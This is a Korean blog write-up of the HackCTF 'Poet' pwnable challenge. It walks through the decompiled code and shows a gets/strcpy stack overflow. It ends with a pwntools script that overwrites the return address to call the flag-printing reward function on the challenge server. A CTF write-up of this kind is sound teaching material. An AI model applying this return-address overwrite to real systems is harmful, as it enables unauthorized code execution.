본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) Poet 풀이

by snwo 2020. 5. 4.

시를 쓰라하고, 저자를 입력받는다.

내 시가 마음에들지않나보다.


 

void main(void)

{
  setvbuf(stdout,(char *)0x0,2,0);
  puts(
      "\n**********************************************************\n*     우리는 2018년의시인(poet)을 찾고 있습니다.        *\n*  플래그상을 받고 싶다면 지금 한 줄의 시를 쓰세요!     *\n**********************************************************\n"
      );
  do {
    while( true ) {
      get_poem();
      get_author();
      rate_poem();
      if (poem._1088_4_ != 1000000) break;
      reward();
    }
    puts(&DAT_00400d78);
  } while( true );
}

get_poem(), get_author() 를 입력받고, rate_poem() 으로 내 시를 평가하는것같다.

평가후, 점수가 백만과다르면, 다시입력받고, 평가한다.

 

물론 저는 gdb 로 분석해서풀었지만, 여러분들보기좋게 ghidra소스로 보여드리겠습니다.


void get_poem(void)

{
  printf("Enter :\n> ");
  gets(poem);
  poem._1088_4_ = 0;
  return;
}
void get_author(void)

{
  printf("이 시의 저자는 누구입니까?\n> ");
  gets(poem + 0x400);
  return;
}

gets 로 입력을받아 overflow 가 발생할 수 있지만

전역변수로 설정이되어있다.

 

저자는 poem+0x400 에 입력을 받는다.


void rate_poem(void)

{
  int iVar1;
  char local_418 [1032];
  char *local_10;
  
  strcpy(local_418,poem);
  local_10 = strtok(local_418," \n");
  do {
    if (local_10 == (char *)0x0) {
      printf(
             "\n+---------------------------------------------------------------------------+\n시내용\n%.1024s\n점수:%d\n"
             ,poem,(ulong)poem._1088_4_);
      return;
    }
    iVar1 = strcmp(local_10,"ESPR");
    if (iVar1 == 0) {
LAB_0040092c:
      poem._1088_4_ = poem._1088_4_ + 100;
    }
    else {
      iVar1 = strcmp(local_10,"eat");
      if (iVar1 == 0) goto LAB_0040092c;
      iVar1 = strcmp(local_10,"sleep");
      if (iVar1 == 0) goto LAB_0040092c;
      iVar1 = strcmp(local_10,"pwn");
      if (iVar1 == 0) goto LAB_0040092c;
      iVar1 = strcmp(local_10,"repeat");
      if (iVar1 == 0) goto LAB_0040092c;
      iVar1 = strcmp(local_10,"CTF");
      if (iVar1 == 0) goto LAB_0040092c;
      iVar1 = strcmp(local_10,"capture");
      if (iVar1 == 0) goto LAB_0040092c;
      iVar1 = strcmp(local_10,"flag");
      if (iVar1 == 0) goto LAB_0040092c;
    }
    local_10 = strtok((char *)0x0," \n");
  } while( true );
}

시를 스페이스바단위로 문자열과 비교하는걸 알 수 있다.

ESPR,eat,sleep,pwn,repeat,CTF,capture,flag

위 단어들을 사용하면 100점씩 올려준다.

 

100점씩올려서 백만점을 만들수없으니, 윗부분을 자세히보자.

poem 전역변수를 0x410 크기의 배열에 strcpy 해 BOF 이 발생한다.


NX 가 설정되어있으니, 쉘코드를 올려 실행할수없다.

 

메인함수를 보면, reward() 함수가 있는데

여기서 flag 를 출력해준다.


author 을 poem+0x400 에 입력받아서,

poem 에 입력받았던 payload 가 null 문자로 잘려

strcpy() 함수호출할때 BOF 가 발생하지않을수있다.

 

author 은 poem+0x400 에 입력받으니,

poem 입력받을때 dummy값 0x400개를주고,

author입력받을때, 나머지dummy + reward 함수주소 를 써주자.

 

payload=DUMMY(0x400)

payload2=DUMMY(0x10)+DUMMY(8)+reward()


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
r=remote('ctf.j0n9hyun.xyz',3012)
#r=process("./poet")
b=ELF("./poet")
payload=""
payload+='x'*0x400
 
payload2=""
payload2+='x'*0x18
payload2+=p64(b.symbols['reward'])
 
r.sendline(payload)
r.sendline(payload2)
 
r.interactive()
 
 
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4ftext-decoration:none">Colored by Color Scripter